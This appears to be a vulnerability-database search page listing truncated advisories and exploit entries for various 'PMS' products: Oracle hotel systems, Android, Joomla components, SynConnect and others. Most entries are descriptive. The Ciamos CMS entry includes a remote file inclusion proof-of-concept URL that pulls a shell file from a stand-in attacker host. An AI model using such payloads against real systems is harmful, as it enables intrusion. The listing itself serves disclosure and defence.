225 matches found
Unspecified Vulnerability in Oracle Hospitality Suite8 (CNVD-2017-30887)
Oracle Hospitality Applications is a suite of business applications, servers, and storage solutions for hospitality management from Oracle Corporation.Hospitality Suite8 is one of the advanced customer management components. An unspecified vulnerability exists in the PMS component of Oracle...
Oracle Property Management Platform remote command execution and the cardholder data is decrypted vulnerability analysis-vulnerability warning-the black bar safety net
Recently, I found that in some large business hotel, the reception data management system of Oracle Opera in the presence of a plurality of security vulnerabilities. Hackers can exploit these vulnerabilities, the hotel booking App mentioning the right to get higher user usage rights; at the same...
Clue - Period & PMS Tracker - Customized SSL, Dangerous filesystem permissions, WebView code execution vulnerabilities
HackApp vulnerability scanner discovered that application Clue - Period & PMS Tracker published at the 'play' market has multiple vulnerabilities...
Vulnerability: CVE-2 0 1 5-0 9 3 2-vulnerability warning-the black bar safety net
ANTLabs is a very popular gateway device. It is usually installed in hotels, conference centres and other places for guests to provide WIFI service. It is usually tied in a room for billing purposes. If you are in a hotel Use it, then you should be especially familiar with such devices...
Android PMS Privilege Escalation Vulnerabilities Found
The first deep look into the security of the Android patch installation process, specifically its Package Management Service PMS, has revealed a weakness that puts potentially every Android device at risk for privilege escalation attacks. Researchers from Indiana University and Microsoft publishe...
SynConnect Pms - index.php?loginid SQL Injection
SynConnect Pms - index.php?loginid SQL Injection Title: ==== SynConnect - SQL Injection vulnerability Credit: ====== Name: Bhadresh Patel Company/affiliation: Cyberoam Technologies Private Limited Website: www.cyberoam.com CVE: ===== Date: ==== 01-03-2013 CRD: ==== CRD-2013-01 Vendor: ======...
SynConnect PMS - SQL Injection Vulnerability
Exploit for php platform in category web applications Synchroweb Technology is a provider of application software, hardware and other innovative enterprise technology. They strive in development, deployment, and management of Linux and open source solutions for Internet infrastructure ranging fro...
SiteEngine 7.1 members to upload WEBSHELL vulnerability 0DAY-vulnerability warning-the black bar safety net
Author:hackdn Reprinted indicate the zend encoding and decryption is not complete, do not bother to look at the code, use a Tamper or the like of the plug-in test of the POST parameters, it's$sFile = $oFile'name';filtering too fool, looks like the 5th version after you modify a function. This is ...
Unfixed XSS vulnerability at www.pontins.com
Security researcher Tom-PMS, has submitted on 17/08/2010 a cross-site-scripting XSS vulnerability affecting www.pontins.com, which at the time of submission ranked 425406 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 15/12/2011. It is current...
Joomla com_adsmanager SQL Injection Vulnerability
Exploit for php platform in category web applications ======================================== Joomla comadsmanager SQli Vulnerability ======================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ ...
PMS (pvt) CMS Multiple SQL Injection Vulnerability
Exploit for php platform in category web applications ================================================== PMS pvt CMS Multiple SQL Injection Vulnerability ================================================== +Title: PMS pvt CMS Multiple SQL Injection Vulnerability + About :...
Remote file inclusion
PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the modulepath parameter...
Ciamos CMS 0.9.5 Remote File Inclusion
Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Ciamos CMS PoC : http://server/modules/pms/index.php?modulepath=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...
Joomla PMS Component 2.0.4 SQL Injection
PMS Enhanced-Config Tab: Backend - Ingorlist: Yes Create a valid User on the target Joomla 1.0.15 System with Community Builder, login and copy the cookieinformation into the $cookie var below, adjust the User-Agent on your Post Header dependent on your Browser. Notice: Pay attention on your...
Joomla Component com_pms 2.0.4 (Ignore-List) SQL Injection Exploit
No description provided by source. ?php / -------------------------- Joomla =1.0.15 Component compms =2.0.4 Ignore-List SQl-Injection Vuln -------------------------- Author: M4dhead Vulnerable joomla component : compms Conditions : magicquotesgpc = On or Off it doesn't matter ;...
XEngineSoft PMS/MGS/NM/AMS 1.0 (Auth Bypass) SQL Injection Vulns
Exploit for unknown platform in category web applications ================================================================ XEngineSoft PMS/MGS/NM/AMS 1.0 Auth Bypass SQL Injection Vulns ================================================================...
CVE-2008-6308
Multiple directory traversal vulnerabilities in Private Messaging System PMS 1.2.3 and earlier for PunBB allow remote attackers to include and execute arbitrary files via a .. dot dot in the punuserlanguage parameter to 1 functionsnavlinks.php, 2 headernewmessages.php, 3 profilesend.php, and 4...
CVE-2008-6308
CVE-2008-6308 affects the Private Messaging System (PMS) 1.2.3 and earlier for PunBB. A directory-traversal flaw allows remote attackers to include and execute arbitrary files via a .. in the pun_user[language] parameter targeting include/pms/ files (functions_navlinks.php, header_new_messages.ph...
mybb-xsrf.txt
Founded: 18, January 2008 Founder: nbbn MyBB Version: 1.2.11 and lower Type: Multiple XSRF Vulnerabilities 1 Delete Threads XSRF Vulnerabilitie: Poc: 1. Create a .html file and copy the code into it. 2. Upload the file and now send the link to an admin or moderator 3. Done 2 Delete PM's XSRF Vuln...